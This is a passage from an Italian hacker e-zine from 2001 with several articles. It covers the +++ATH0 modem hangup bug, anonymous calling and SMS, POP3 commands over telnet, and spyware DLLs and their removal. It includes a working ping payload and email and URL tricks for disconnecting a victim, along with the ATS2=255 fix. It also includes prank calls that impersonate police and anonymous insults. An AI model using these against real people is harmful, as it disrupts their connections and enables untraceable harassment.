quindi si è | | disconnesso da internet. | | | | Quali pericoli può indurre questo bug? | | I pericoli sono veramente pochi, intanto perché è semplicissimo fixarlo | | (spiegato dopo), | | l' unica seccatura è portata dal fatto che ci sono molte persone che non | | hanno niente da fare in IRC e potrebbero staccarti la connessione. | | Perché il modem svolga questo comando, la stringa +++ATH0 deve essere in | | uscita dal nostro modem. | | Come? | | Ci sono diversi modi…se trasferiamo un file contenete la parola +++ath0 ci | | disconnettiamo, se inviamo un' e-mail contentente il testo +++ath0 ci | | disconnettiamo. Se vuoi fare uno scherzo a qualcuno che è infetto da questo | | bug, gli scrivi unì e-mail e in fondo in piccolo scrivi +++ath0. Molti | | programmi di posta quando devono rispondere a un messaggio copiano il testo | | dell'e-mail ricevuta e quindi anche la solita stringa +++ath0, quando la | | invia…. ;). L' ECHO REPLY è il principio che usano i molti programmi di war | | che sfruttano questo bug. | | Inviando un ICMP ECHO a un ip vittima contenente la stringa +++ATH0, essa | | risponderà con un ECHO REPLY copiando la suddetta stringa. Risultato che | | +++ATH0 esce dal modem della vittima e quindi avrà una disconnessone | | immediata. | | | | Potremmo anche sbizzarrirci a far eseguire al modem della vittima tanti | | comandi diversi. | | | | Da linux è possibile fare la stessa cosa con i ping. | | Il comando ping serve per controllare una connessione remota, inviando dei | | bytes che verranno restituiti in risposta. | | Si possono definire i bytes che viaggiano, con l'opzione -p. | | Il comando sarà: | | ping -p 2B2B2B41544830 -s 5 123.45.67.89 | | | | 2B2B2B41544830 è la stringa +++ATH0 in esadecimale, -s 5 è la grandezza del | | pacchetto (in questo caso 5 bytes), 123.45.67.89 è l'ip della vittima. | | Recentemente ho scoperto una cosa curiosa: | | stavo cercando il modo di immunizzarmi e cercai in VIRGILIO | | (www.virgilio.it) la parola +++ATH0. Appena schiacciai INVIO la connessione | | terminò senza motivo. | | Riconnesso feci di nuovo la ricerca con lo stesso risultato. | | Analizzando l'url che eseguiva explorer c'era la stringa %2B%2B%2Bath0, dove | | %2B in codice ascii è uguale a +. | | Un modem quando deve processare un url, prima lo analizza, poi invia la | | richiesta al server. Quando il modem attua quest'ultima operazione, fa | | "uscire" anche la stringa %2B%2B%2Bath0. | | Conseguenza? | | Hangup. | | Provai a scrivere www.%2B%2B%2Bath0.it , oppure solamente %2B%2B%2Bath0, ma | | non accadeva nulla…Poi feci un redirect con cjb.net, precisamente | | b00m.cjb.net e redirectai www.%2B%2B%2Bath0.it. Ancora niente…Pensandoci | | bene ogni url che scrivevo non esisteva, quindi pensai che per far eseguire | | il comando +++ATH0 il modem doveva caricare qualcosa, un url esistente, un | | server a cui mandare la richiesta, L'importante è che contiene anche il | | comando di "Hangup". | | Feci una pagina htm e la chiamai +++ath0.htm . Poi l'uploadai a un web | | hosting, mi resi di nuovo scoperto all' +++ath0 e eseguii l'url. | | Caddi subito. Riprovai diverse volte e cadevo ad ogni tentativo. Quando mi | | immunizzavo di nuovo al bug, non accadeva assolutamente niente. | | | | Per proteggersi da eventuali attacchi ci sono diversi modi, intanto | | controlla se già non sei attaccabile da questo bug: www.b00m.cjb.net . Li ho | | messo la page di cui ho parlato prima. Appena caricata non ci sarà | | apparentemente niente, apparte il solito IMPOSSIBILE VISUALIZZARE LA PAGINA | | WEB. Non perché non è stata caricata o perché non esiste. Semplicemente | | nell' html della page ho messo l'html delle pagine non visualizzabili…ma con | | un errore…se guardi bene lo scopri =) | | | | Immunizziamoci. | | - Filtrare gli icmp contenenti la stringa +++ATH0. Questo e' possibile, ma | | fastidioso e poi se vorremmo lanciare noi degli attacchi di questo genere | | saremmo i primi a cadere. | | - Cambiare il carattere di escape. Invece di + potrebbe essere -, ma alcuni | | nuker provano tutto il range di ascii possibili e quindi potrebbero riuscire | | a farti cadere. | | Il modo più efficace e' fixare il modem con l'apposita stringa ATS2=255 . | | Per farlo basta andare a Risorse del computer ' Accesso remoto , clickare | | col dx sulla tua connessione e selezionare Proprietà. Si aprirà una | | finestra, in basso c'è un pulsante con scritto configura, clickaci, a questo | | punto si apre una seconda finestra, in alto al centro c'è Connessione, | | clicka li, poi nella schermata che viene in basso c'è un pulsante: Avanzate. | | Si aprirà una terza finestra. Al centro c'è "Altre impostazioni", incolla | | dentro questa stringa: ATS2=255. | | | | Questo e' il mio primo articolo per una e-zine, spero ti sia piaciuto =) | | Per critiche, approfondimenti, o quello che ti pare scrivimi a: | | solid.snake@email.it | | Hi, snake_ | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 | | TELEF0NARE iN M0D0 AN0NiM0 [Screener_it] 0x11/0x23 | +-------------------------------------------------------------------------------+ | | | Titolo: come fare chiamate anonime da fisso, cellulare, cabina. | | Autore: Screener_it | | email: screener_it@freemail.it | | web site: http://go.to/tankcommandos | | | | Ogni riferimento a cose, fatti, persone, avvenimenti, sono frutto di | | pura fantasia. | | Il testo deve intendersi a scopo esclusivamente informativo (io non | | vi invito a fare cazzate.. Anzi !!) | | | | /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ | | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | | \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | | | | Oggi parleremo di chiamate anonime amici !!! | | Chi di voi non ha mai fatto scherzi telefonici ? Sono divertenti, fanno | | crepare dal ridere e se fatte bene sono qualcosa di unico.. | | Tanto per farvi un esempio, un paio di settimane fa ero a casa mia che | | guardavo | | insieme a un po' di miei amici (20 persone !!) la partita Inter - Juve. | | Lasciamo stare la partita, di quella non voglio parlare. | | Dicevamo, stavamo guardando la partita e nell'intervallo ci è venuta un'idea | | !! | | Chiamare a casa di un nostro amico [che chiameremo C.] (a cui i carabinieri | | avevano messo in fermo amministrativo l'Ape) e fargli un bello scherzo. | | Però bisogna restare seri e tranquilli. Quindi lo faccio io. | | Prendo il cellulare e chiamo casa di questo povero pirla. | | Ecco la chiamata: (le * sono messe per la privacy) | | P.= padre del C. | | S.= Screener_it | | | | P.: Pronto ? | | S.: Pronto ? Famiglia *** ? | | P.: Sì, chi parla ? | | S.: E' la caserma dei carabinieri di ****. Posso parlare con il signor C. ? | | P.: No, adesso non c'è. Ci sono problemi per caso ? | | S.: Sì, a dir la verità un problema c'è. Qui mi risulta che il suo mezzo, mi | | pare sia [adesso rumore di fogli per fare finta che stai rovistando nei | | documenti] un'Ape è stata messa in fermo amministrativo. Sbaglio ? | | P.: No, no, ha ragione. | | S.: E mi risulta che lei ha firmato per tenere il mezzo suddetto presso la | | vostra abitazione. E' esatto ? Se mi sbaglio mi corregga pure. | | P.: No, no, è tutto giusto. | | S.: Bene, ci risulta che oggi l'Ape è stata vista girare per il paese con 2 | | persone a bordo. | | P.: No, è impossibile. L'Ape è sempre restata qua a casa !!! | | S.: Il numero di targa è 44WWW ? (al posto di 44WWW mettete la targa vera). | | P.: Sì. | | S.: Senta, non mi prenda in giro !! E' sicuro che l'Ape non si sia mossa ? | | P.: Certo, certo. Almeno.. Cioè io non l'ho tenuta sotto controllo del | | tutto.. Forse il ragazzo.. | | S.: Calmo, calmo. Forse ci stiamo sbagliando noi. Controllerò di nuovo e la | | richiamerò più tardi per eventuali aggiornamenti, va bene ? | | P.: Sì, grazie, grazie davvero. Guardi, appena torna il C. gli faccio un | | culo se ha usato l'Ape.. | | S.: Forse non serve usare la violenza, vedremo di risolvere la questione. Le | | ricordo comunque che in caso chi risponde penalmente è lei !! Arrivederci !! | | | | Tutti in giro a me erano per terra a ridere a crepapelle, ma io ero riuscito | | a mantenere la calma. Basta che facciate una voce seria e impostata. Non | | tentate di modificarla, vi beccherebbero subito. Calma e sangue freddo e | | tutto filerà per il verso giusto. | | Dopo ho fatto un'altra chiamata al padre dicendo che era tutto uno scherzo, | | altrimenti quello il C. lo pestava a sangue. | | | | Dicevamo delle telefonate anonime. Se facevo uno scherzo del genere e chi | | riceveva la telefonata aveva il temuto "Chi é" della Telecom si trovava con | | il mio bel numero e rischiavo di trovarmi il padre di questo qui a casa con | | una spranga e (nella peggiore delle ipotesi) una denuncia per essermi | | spacciato per un carabiniere. | | | | Come fare allora a fare scherzi telefonici senza essere beccati ? Semplice, | | basta anonimizzare la chiamata. | | I metodi si differenziano se usate un telefono fisso (tipo quello di casa), | | il cellulare ,una cabina telefonica o gli SMS | | | | /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ | | 1.- Telefono fisso | | \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | | | | L'ho scoperto di recente.. Cmq funziona alla stragrande. | | Cominciamo che il sistema "manuale" è gratuito. Che è già un bel dire. | | Comunque basta anteporre al numero da chiamare *67# oppure 1793. | | Come oppure ? Funzionano entrambi, li ho messi entrambi perchè non tutti i | | telefoni (tipo il mio cordless vecchio preistorico) accettano come primo | | numero la *. | | Un altro motivo è che se volete chiamare il vostro provider non potete | | anteporre *67#, perchè il computer non li riconosce. Anteponete 1793. | | Per chi non avesse capito il funzionamento: | | mettiamo per esempio che vogliate chiamare il numero 02 123456 (numero a | | caso). | | Se volete fare in modo che non appaia il vostro numero basta digitare | | *67#0212345 | | Capito adesso ? | | Questo sistema si chiama (testualmente) Blocco Identificativo del Chiamante | | (sigla BIC). | | Anteporre però ogni volta il *67# è però un po' pesante se si vuole usare | | sempre. | | Potete (a pagamento) avere il BIC permanente, così facendo TUTTE le chiamate | | in uscita dal vostro telefono di rete fissa saranno anonime. Per avere il | | BIC permanete dovete fare richiesta per iscritto alla Telecom (per maggiori | | informazioni telefonate a quelle belle troie del 187). | | | | NOTIZIA PURAMENTE TEORICA: quando scrivo adesso è solo una mia pazza idea.. | | Vi siete accorti che adesso sulle bollette appaiono anche il numero di | | chiamate fatte in rete urbana, extraurbana, verso mobili, ecc.. (se c'era | | anche prima non so, me ne sono accorto adesso, dopo che i miei mi hanno | | sbattutto in faccia la bolletta !!). | | Ora.. Dato che mi sono trovato la ragazza (ciao Marina !!)[e l'ho già persa, | | se è per quello !!] e che la chiamo praticamente tutti i giorni sul | | cellulare per min. 15 minuti quando arriva la bolletta e i miei vedono 40 | | telefonate a mobile mi fanno il culo !! (o lo fanno a mia sorella, che è | | meglio !!). | | Non è che magari con quel *67# sulla bolletta non risulta che è una chiamata | | al cellulare, ma che è una semplice urbana ? Chi ha notizie in merito mi | | mandi una mail !!! | | | | /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ | | 2.- Telefono cellulare | | \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | | | | Questo sistema invece è vecchio come il mondo. (meglio, vecchio come la | | diffusione del cellulare o quasi.) | | L'Italia (notizia di pochi giorni fa) è tra i paesi con la più alta presenza | | in percentuale di cellulari. | | Praticamente tutti ce l'hanno (se l'è comprato pure la mia nonnina !!). | | E volete farmi credere che non fate mai scherzi (dal classico squillo alle | | minacce di morte via SMS). | | Qui però la faccenda è più seria. Infatti TUTTI i cellulari hanno già in sè | | l'identificativo del chiamante. In questo modo appena voi chiamate sul | | display (che bella 'sta parola !!) del telefonino appare il vostro bel | | numero. | | Un po' scocciante non vi pare ? Ma c'è rimedio a tutto !!! Per i cellulari | | infatti cambiando i codici da anteporre al numero, ma l'essenza resta quella | | !!! | | Basta mettere davanti al numero il famoso #31# e il gioco è fatto. | | Esempio (x i più celebrolesi): | | Volete chiamare lo 0338 1111111 ma volete restare anonimi ? Digitate | | #31#03381111111 e il telefonino che riceve la chiamata al posto del vostro | | numero scriverà "Anonimo" o "Numero privato" !!! STUPENDO !!! | | | | /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ | | 3.- Cabine telefoniche | | \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | | | | Scrivo questa parte solo per un paio di miei amici, che sono furbi come.. | | Và, non dico quanto sono furbi xchè se no mi sbattono fuori dalla compagnia | | (e dopo con chi faccio la "bala" ?) | | Allora, era inverno, gennaio ed era il giorno della festa del mio | | compleanno. Faccio la festa a casa mia. I miei non c'erano, quindi l'alcool | | girava come fosse acqua. A mezzanotte eravamo tutti ubriachi. | | Uno dei miei amici (che x rispetto alla privacy chiameremo R.) era insieme a | | Ch. | | A un certo punto della serata si mollano, xchè lei gli aveva fatto i corni. | | Tralasciamo il fatto che lui ha tentato di pestarla, sorvoliamo sul fatto | | che lui le abbia tirato il portafoglio urlando:"Le troie le va pagade.. To' | | stronza !! E adesso deme la bira che devo purificarme !!" | | Vabbè, come dicevo sorvoliamo. | | Alla fine della festa vanno tutti a casa, io vado a dormire dai miei zii (i | | miei non c'erano e dovevo stare a dormire da loro). Dall'ubriaco che ero mi | | butto vestito sul letto, non spengo nemmeno il cellulare e mi addormento. | | Questi miei amici intanto vanno a una cabina telefonica e cominciano | | (all'una di notte !!!!) a chiamare a casa di Ch. | | Uno le grida dentro "troia", l'altro "dona del comun", un altro (dato che | | aveva risposto il padre) urla "To fiola l'è 'na pompinara !!". | | Intanto C. continua a scrivermi SMS sul cellulare chiedendo chi era che | | chiamava e se lo sapevo dovevo dirgli di smetterla, altrimenti suo padre.. | | Purtroppo io non ero in condizione nè di sentire il cellulare che squillava, | | nè di rispondere agli SMS. | | Il giorno dopo effettivamente il padre di Ch. ci cercava (con la spranga | | !!!!!!) per "chiarire le idee" a chi era stato a fare lo scherzo. Gli scemi | | confessano tutto e tentano di farsi scusare. Il padre (che è un bel | | bestione, avverto tutti !!) per fortuna li scusa.. | | | | Ma perchè vi ho raccontanto tutta 'sta storia ? Per farvi un esempio di come | | farla pagare a chi vi fà le corna ? No, per un altro motivo. | | Questi miei amici sono stati scemi perchè TUTTE LE CHIAMATE EFFETTUATE DA | | UNA CABINA TELEFONICA RISULTANO ANONIME, pertanto nessuno poteva risalire a | | loro.. Almeno con i mezzi tradizionali. | | Potevano tranquillamente dire che non erano stati loro e nessuno poteva dire | | niente !!! | | Avete capito quindi ? Se chiamate da una cabina telefonica chi riceve la | | telefonata si troverà davanti a un numero ANONIMO !!! | | | | /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ | | 4.- SMS | | \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | | | | Allora.. Gli SMS anonimi potete mandarli così: o via internet con uno dei | | tanti siti che offrono questo servizio (occhio che questi siti stanno | | diminuendo !!) oppure grazie a zed.it... | | | | Non sapete cos'è zed.it ?? In pratica è un servizio che vi permette di | | mandare SMS anonimi pagando 250 L. + Iva per ogni messaggio (300 L. a | | messaggio.. Non è proprio gratis ma..), cioè 100 L. in più del normale.. | | | | Come funziona ? Potrei rimandarvi a Zed.it, invece ve lo spiego. Il | | messaggio tipo è questo: | | "ANON numerodestinatario messaggio", poi cliccate "Invia" o quello che | | preferite e inoltrate il messaggio al 44933.. Il messaggio arriverà in forma | | anonima al destinatario. | | | | Esempio pratico: voglio scrivere a 333 3344555 che è una testa di cazzo.. | | Ecco cosa scrivo sul cell: | | "ANON 3333344555 sei una testa di cazzo" (senza virgolette ovviamente) e lo | | spedisco al 44933.. Al 333 3344555 arriverà un msg anonimo con scritto "sei | | una testa di cazzo" | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 | | P0P3 [mR_bIs0n] 0x12/0x23 | +-------------------------------------------------------------------------------+ | | | Titolo: Leggere le mail da telnet, ovveri i comandi POP3 spiegati e | | commentati | | Autore: mR_bIs0n | | Musica ascoltata: Alien Ant Farm - Smooth Criminal | | Dickies - Killer Klown From Outer Space | | Ramones e NoFx varii | | Consumo: ora vedo che c'è da mangiare... NULLA! | | Saluti a: tutti li amici di chat (troppi), li amici di classe, a tutti | | li punk del mondo, a Francesca | | Fucks to: Preside Prof. Basile Vittorio, un grande pezzo di merda | | | | Possiamo inizià | | | | Bellaaa ragazzi oggi sto a casa ammalato e vi spiego come fare a leggere le | | mail da remoto, tramite il telnet e i comandi POP3. | | Innanzitutto spieghiamo cos'è il POP3 (Post Office Protocol): sarebbe il | | protocollo che consente agli utenti di accedere alle caselle di posta e di | | recuperare le e-mails. | | | | Di solito la porta utilizzata dal server POP3 è la 110. Quando ci | | colleghiamo col telnet al | | server e alla porta 110 stabiliamo una connessione con esso e il server ci | | saluta pure! | | | | telnet popmail.libero.it:110 | | | | +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E | | B63336A@pop2.libero.it> | | | | Ricordiamoci che i comandi solitamente sono seguiti da parametri da noi | | scelti. | | Esistono due indicatori di stato: +OK (positivo) e -ERR (negativo). | | | | Una volta collegati, dopo che il server si è presentato, si entra nella | | sezionedetta 'AUTHORIZATION'. In questo momento il server si deve | | identificare l'utenza. Solo una volta che il server ha riconosciuto | | l'utente, possiamo passare nella sezione detta 'TRANSACTION'. In questa | | sezione si può interagire e fare le proprie scelte. Dopodicchè, quando ci | | disconnettiamo dal server, quest'ultimo entra nella sezione detta 'UPDATE', | | e cioè aggiorna i nostri cambiamenti e infine ci saluta. | | | | Mi sa' che il server aspetta 10 minuti prima di disconnettere se ancora non | | vi siete identificati. | | | | Ma passiamo alla pratica. Esistono due metodi di identificazione, il | | classico e quello tipo 'APOP'. Vi spiego solo il primo (più semplice). | | | | telnet popmail.libero.it:110 | | | | +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E | | B63336A@pop2.libero.it> | | | | ...siamo connessi... | | ora inseriamo il nostro user e la nostra pass: | | | | user sono_gay@libero.it | | +OK Password required | | pass menevanto | | +OK 88 messages | | (l'esempio non è autobiografico!) | | | | in questo caso tutto è andato bene, ci ha accettati e ci ha detto quanti | | messaggi contiene la mailbox, 88 appunto. | | | | Se qualcosa va storto... | | | | -ERR invalid user or password | | | | ritentate, scrivete con calma senza fare errori o correzioni! | | | | Abbiamo passato lo stato di AUTHORIZATION e ora ci troviamo in TRANSACTION. | | Bene ora passiamo ai comandi: | | | | stat | | +OK 88 878599 | | | | Col comando STAT ci facciamo dire quanti messaggi di posta ci sono e quant'è | | la grandezza di tutti essi. | | | | list | | +OK | | 1 1647467 | | 2 2458881 | | 3 3256 | | ... | | 88 354235 | | | | con questo comando possiamo vedere la lista dei messaggi contenuti nella | | mail box e tutti corrispondono ad un numero. | | | | list 4 | | +OK | | 4 534553 | | | | così vediamo solo una mail. | | | | retr 3 | | +OK 3256 bytes | | Return-Path: <mortacci@tua.it> | | Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042) | | id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200 | | Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it | | (6.0.021) | | id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200 | | Received: (from majordomo@localhost) | | by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976 | | for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200 | | | | [...] (tante altre coseeeee) | | | | possiamo leggere il contenuto delle mail, sconsiglio di usarlo, al massimo | | settate il buffer del | | vostro client telnet molto alto, in modo da poterle leggere. | | | | dele 34 | | +OK message marked for deletion | | | | in questo modo marchiamo la mail che deve essere cancellata, dopo il quit, | | verrà eliminata. | | | | noop | | +OK | | | | ignoro l'utilizzo di questo comando, mi sono documentato e non dice nulla. | | Forse potrebbe servire a controllare se il server, magari tra una operazione | | e un'altra, è ancora attivo. | | | | rset | | +OK | | | | se abbiamo marcato dei messaggi per essere eliminati, facendo questo | | comando, annulliamo ogni marcatura. | | | | quit | | +OK POP3 server closing connection | | | | quittando il server esegue tutti gli ordini impostati prima. | | | | top 3 10 | | +OK 3256 bytes | | Return-Path: <mortacci@tua.it> | | Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042) | | id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200 | | Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it | | (6.0.021) | | id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200 | | Received: (from majordomo@localhost) | | by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976 | | for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200 | | | | [...] (solito header completo) | | | | (+ le prime 10 righe del messaggio) | | | | molto utile, in questo modo leggiamo le prime righe dei messaggi, così da | | capire se magari possiamo cancellarle o meno. | | | | Esiste anche il comando UIDL, ma è anche difficile, quindi lasciamo perdere | | anche questo (a dirla tutta, nemmeno io l'ho capito bene bene...). | | | | Ricapitolando: | | | | Comandi validi nello stato AUTHORIZATION | | USER username | | PASS password | | QUIT | | | | Comandi validi nello stato TRANSACTION | | STAT | | LIST [numero del messaggio] | | TOP [numero del messaggio] [fino alla riga] | | RETR [numero del messaggio] | | DELE [numero del messaggio] | | NOOP | | RSET | | QUIT | | | | Oki, per ora è tutto, forse ci saranno altri miei arts, ci si bekka! | | mR_bIs0n | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 | | SPYWARE AT ALL [MightyInquisitor] 0x13/0x23 | +-------------------------------------------------------------------------------+ | | | Titolo: SPYWARE AT ALL | | Autore: MightyInquisitor | | Home-page: www.mightyinquisitor.cjb.net | | E-mail: mightyinquisitor@mightyinquisitor.cjb.net | | Irc: irc.azzurranet.org - canali: #hackmaniaci | | | | | | DiSCLAiMER_LEGALi | | QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0' L'AUTORE, | | MightyInquisitor, | | DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0 CHE POTREBBE ESSERNE FATT0. L'AUTORE, | | DUNQUE, NON iNC0RAGGiA CHi VOLESSE SERViRSENE PER SC0Pi iLLEGALi. | | | | | | cat Index.txt | | ----------------------------------- | | /Index.txt | | /Intro.txt | | /Cos_e'_uno_spyware.txt | | /Come_agisce_advert.dll.txt | | /Le_forme_del_file_spia.txt | | /La_forma_tecnica_del_file_spia.txt | | /Come_rimuovere_i_file_spia.txt | | /Bugs_degli_spyware.txt | | /Saluti.txt | | ----------------------------------- | | | | | | cat Intro.txt | | ----------------------------------------------------------------------------- | | Eccomi qua a scrivere un nuovo articolo dopo una lunga e bellissima vacanza | | all'estero | | durata oltre un mese e mezzo! Vi sono mancato? Beh, spero di si, ma come | | vedete non mi | | dimentico di certo dei miei lettori e si vede... ;-) | | Allora, in questo testo vi parlerò di spyware, tranquilli, se non sapete | | cosa sono lo | | scoprirete inoltrandovi nella lettura, io non do, quasi, mai nulla per | | scontato. | | ----------------------------------------------------------------------------- | | | | | | cat Cos_e'_uno_spyware.txt | | ----------------------------------------------------------------------------- | | Uno dei tantissimi e clamorosissimi problemi di winzoz sono gli spyware. | | Lo spyware è uno spy-ware ovvero un 'programma spia' la cui funzione è | | spiare; alcuni usano | | il termine scientifico "studiare", tutto quello che l'utente fa nel suo | | computer. | | | | Molto probabilmente ora vi starete chiedendo: | | A. Ma se uno spyware ha il compito di spiare, perchè mai andrò ad | | installarmelo? | | B. Ok, ho capito che spia, ma le informazioni spiate, che fine fanno? | | | | Ecco su un piatto d'argento le risposte: | | Diciamo che gli spyware si auto-installano sulla vostra macchina durante la | | fase di | | installazione di altri programmi (shareware o freeware) che potete | | "liberamente" scaricare | | dalla rete. | | Le software-house che producono programmi su larga scala (vedi la | | Macromedia) non fanno | | altro che programmare il programma di installazione del software scaricato | | per installare | | in contemporanea un secondo software (spyware) che va ad inserirsi tra le | | dll (librerie di | | sistema) che si avvia in background ad ogni avvio del sistema e "controlla" | | ogni vostra | | mossa con lo scopo di mandare tutte le informazioni recepite all'azienda | | stessa non appena | | vi collegate alla rete. Tutto questo procedimento avviene sempre in | | background senza nemmeno | | tener conto di voi e della vostra privacy. | | In Diritto, mia amata materia, questa si chiama: ViOLAZiONE DELLA PRiVACY, | | ma le aziende se | | ne sbattono altamente, in fondo a loro interessa tenere sott'occhio le mosse | | dei loro | | clienti e finchè il garante della privacy in italia non muove un dito per | | mettere fine a | | questa enorme ingiustizia nei confronti degli onesti (forse) cittadini | | italiani quali siamo | | le cose rimarrano così e noi continueremo ad essere spiati. Questo si chiama | | anche | | SPiONAGGiO iNDUSTRiALE SUL CONSUMATORE ed è un reato gravissimo secondo le | | leggi italiane ed | | europee. | | | | Nota: il "file spia" più comunemente diffuso dalle grandi software-house si | | chiama: | | 'advert.dll' ed è sicuramente il più potente fra tutti i file della sua | | categoria su | | piattaforma winzoz. | | ----------------------------------------------------------------------------- | | | | | | cat Come_agisce_advert.dll.txt | | ----------------------------------------------------------------------------- | | Quando ci si collega alla rete, il file spia si avvia in automatico in | | background creando | | una finestra invisibile sul desktop, che si mette normalmente in | | comunicazione con il | | server dell'azienda proprietaria e inizia ad inviarle una serie di dati tra | | i quali: | | | | - il nome dell'utente | | - il suo Ip | | - la lista dei programmi installati sul computer | | - la lista di tutto quello che si è scaricato dalla rete | | - i siti e i banner visitati durante la navigazione | | - la password con la quale ci si connette | | ----------------------------------------------------------------------------- | | | | | | cat Le_forme_del_file_spia.txt | | ----------------------------------------------------------------------------- | | Se fosse "solo" questo sarebbe una favola, ma non è così, eheh, proprio no, | | i programmatori | | delle grandi multinazionali di software sono pagati per scrivere dei buoni | | spyware, mica per | | lavorare legalmente, cosa credevate voi onesti cittadini? | | | | Prima cosa da tenere conto è che il potentissimo advert.dll avvolte si | | installa nel sistema | | anche con il nome di 'amcis.dll' e 'amcis2.dll'. | | Questo lusso finora però se lo sono potute permettere, tra le altre, quattro | | grosse aziende: | | Aureate/Radiate, Conducent/Timesynch, Comet Cursor e BinaryBliss. | | Tra i software che contengono 'advert.dll' (nelle sue diverse "forme" che | | presto illusterò) | | ci sono: CUTEFTP, GETRIGHT, GOZILLA, DIALLER2000, FLASHGET, NETZIP e | | DOWNLOAD ACCELERATOR. | | Insomma, alcuni tra i tanti programmi più amati dagli utenti winzoz. | | E c'è dell'altro: | | Oltre a potersi auto-installare, sempre a nostra insaputa, col nome di | | 'advert.dll', | | 'amcis.dll' o 'amcis2.dll', lo stesso spyware si può installare anche come: | | 'adimage.dll', | | 'ipcclient.dll', 'tadimage.dll', 'advert203.ocx', 'advertx.ocx', | | 'anadsc.ocx', 'anadscb.ocx' | | e 'tfde.dll'. Niente male vero? Ma c'è ancora di più, contenti? Immagino di | | si ;) | | Possono anche presentarsi sotto forma di directory: 'C:\windows\amc\' o | | 'C:\windows\amcdl', | | ma anche come file eseguibili: 'htmdeng.exe' o 'msipcsv.exe'. | | | | Nota: il famigerato REALPLAYER installa 'Comet Cursor' (nient'altro che un | | altro | | file spia) che è possibile eliminare cancellando il file | | c:\windows\system\comet.dll. | | ----------------------------------------------------------------------------- | | | | | | cat La_forma_tecnica_del_file_spia.txt | | ----------------------------------------------------------------------------- | | Come ben saprete, tutti i programmi di winzoz, installati da voi stessi o a | | vostra insaputa, | | creano delle chiavi di registro e nel nostro caso ne crea nei seguenti | | "rami" del registro. | | | | Nota: per avviare il registro premere il tasto 'Esegui' (Execute) del menu | | Start e digitare: | | 'regedit'. Vi si aprirà l'Editor del Registro di sistema'. Controllate nelle | | seguenti | | cartelle voci strane che secondo voi potrebbero essere collegate agli | | spyware, ma NON | | cancellatele. La cancellazione la fa un apposito programma che descriverò | | più avanti. | | | | HKEY_CLASSES_ROOT | | HKEY_CURRENT_USER (solo su winNT o win2000) | | HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{EBBFE288-BDF0-11D2-BBE5-00609419F46 | | più7} | | HKEY_CLASSES_ROOT\Stub.CIEStubCLSID\{EBBFE27C-BDF0-11D2-BBE5-00609419F467} | | HKEY_CLASSES_ROOT\Netscape\StartingCLSID\{EBBFE288-BDF0-11D2-BBE5-00609419F46 | | 7} | | ----------------------------------------------------------------------------- | | | | | | cat Come_rimuovere_i_file_spia.txt | | ----------------------------------------------------------------------------- | | | | Rimuovere i "file spia", non è un operazione che si fa tutti i giorni, | | quindi vi consiglio | | di leggere attentamente e di farlo una volta per tutte, ma soprattutto di | | controllare bene | | quello che i shareware e freeware che scaricate dalla rete, installano sul | | vostro pc. | | Su internet potete cercare due software freeware che fanno a caso nostro: | | AdAware e Optout. | | Non mi addentro a spiegare come usarli, anche perchè sono veramente facili | | da trovare, da | | installare, da settare e da usare comunque basta solo settarli bene e fare | | uno scan dell'hd | | alla ricerca di spyware, fa tutto in automatico, vi chiederà solo, alla fine | | dello scan, | | cosa vorrete fare degli spyware trovati. Voi risponderete DELETE, | | CANCELLA!!! | | | | Nota: alcune volte, sia AdAware che Optout segnalano che il file è in uso da | | winzoz. Beh è facile risolvere questo inghippo, basta solo riavviare il pc | | in modalità | | ms-dos e fare: del <nome_spyware.estensione>. | | ----------------------------------------------------------------------------- | | | | | | | | cat Bugs_degli_spyware.txt | | ----------------------------------------------------------------------------- | | | | Come il resto dei programmi che girano su winzoz, anche gli spyware hanno | | bug, che strano | | vero?_? | | | | Tanto per dirne uno, quando usate Netscape può succedere che | | improvvisavemente si ha un | | crash e andando a vedere i dettagli si 